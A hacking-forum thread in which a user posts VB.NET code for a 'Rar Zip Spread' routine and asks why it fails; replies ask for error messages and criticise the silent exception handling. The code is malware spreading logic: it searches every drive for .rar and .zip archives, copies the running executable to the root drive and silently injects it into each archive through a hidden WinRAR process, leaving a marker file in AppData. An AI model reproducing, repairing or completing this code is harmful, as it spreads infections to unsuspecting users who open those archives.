Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

Rar Zip Spread doesnt work for me

It's copied of the other post about .rar .zip spread.
Code of the main program:
Code
Imports System
Imports System.Diagnostics
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Text

Module Program
    Public Sub Main()
    
    If Not File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)​ & "\temp48.txt") Then
        Try
            Rar.Spread("RunFirst.exe")
        Catch
        End Try
    End If
    End Sub
End Module

Code of the class .rar:
Code
Imports System
Imports System.Diagnostics
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Text

Public Class Rar
    <DllImport("kernel32.dll", CharSet := CharSet.Auto)> _
    Public Shared Function GetShortPathName(<MarshalAs(UnmanagedType.LPTStr)> path As String, <MarshalAs(UnmanagedType.LPTStr)> shortPath As StringBuilder, shortPathLength As Integer) As Integer
    End Function
    Shared _rarPath As String
    Shared _copiedExeName As String
    Private Shared Sub Search(pathName As String)
  Dim files As String()
  files = Directory.GetFiles(pathName)
  For Each file As String In files
    If file.Contains(".rar") Then
    RarStart(file)
    End If
    If file.Contains(".zip") Then
    RarStart(file)
    End If
  Next

  Dim subdirectorys As String() = Directory.GetDirectories(pathName)
  For Each subdirectory As String In subdirectorys
    Search(subdirectory)
  Next
    End Sub

    Public Shared Sub Spread(myExeName As String)
  _copiedExeName = myExeName
  Dim drives As String() = Environment.GetLogicalDrives()
  For Each strDrive As String In drives
    Search(strDrive)
  Next
  File.Create(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\temp48.txt")
    End Sub

    Public Shared Sub RarStart(archiveToInject As String)
  Dim sysFolder As String = Environment.GetFolderPath(Environment.SpecialFolder.System)
  Dim rootdrive As String = sysFolder.Replace(sysFolder.Substring(sysFolder.IndexOf("\")), [String].Empty) & "\"

  _rarPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\WinRAR\WinRAR.exe"
  If File.Exists(_rarPath) Then
    If Not File.Exists(Path.Combine(rootdrive, _copiedExeName)) Then
    'copy our exe to C:\ (or other root drive)
    File.Copy(Process.GetCurrentProcess().MainModule.FileName, Path.Combine(rootdrive, _copiedExeName))
    End If
    'get the short path of our exe
    Dim getshortExePath = New StringBuilder(255)
    GetShortPathName(Path.Combine(rootdrive, _copiedExeName), getshortExePath, getshortExePath.Capacity)
    Dim evilpath As String = getshortExePath.ToString()

    'get the short path name of the archive to inject
    Dim shortArchiveDirectory = New StringBuilder(255)
    GetShortPathName(archiveToInject, shortArchiveDirectory, shortArchiveDirectory.Capacity)

    Try
    Dim rarProcess As New ProcessStartInfo()
    Dim theInfo As String = " a " & Convert.ToString(shortArchiveDirectory) & " " & evilpath
    rarProcess.FileName = _rarPath
    rarProcess.Arguments = theInfo
    rarProcess.WindowStyle = ProcessWindowStyle.Hidden

    Process.Start(rarProcess)
    'silent error
    Catch

    End Try
  End If

    End Sub
End Class


Not works ;( 😭
Not works is dubious at best. Do you get any kind of error?
Before I take a look at that scrambled code. Lol. What specifically doesn't work? Errors? Warnings? Bugs?
You know when you're trying to debug code or you're having issues with it etc, maybe don't do stuff like:

Code
'silent error
    Catch

    End Try

......


Possibly Related Threads...
Thread / Author Replies Views Last Post
[C] by Sir BillyAug 26, 2019 06:33 PM 1 146 Aug 26, 2019 06:33 PM
Last Post: YouthInAsia
[.NET] by KαѕρerJul 14, 2017 06:00 AM 4 239 Jul 14, 2017 06:00 AM
Last Post: Rhez
[Shell] by xdawnJun 5, 2017 03:56 PM 9 322 Jun 5, 2017 03:56 PM
Last Post: b00st3d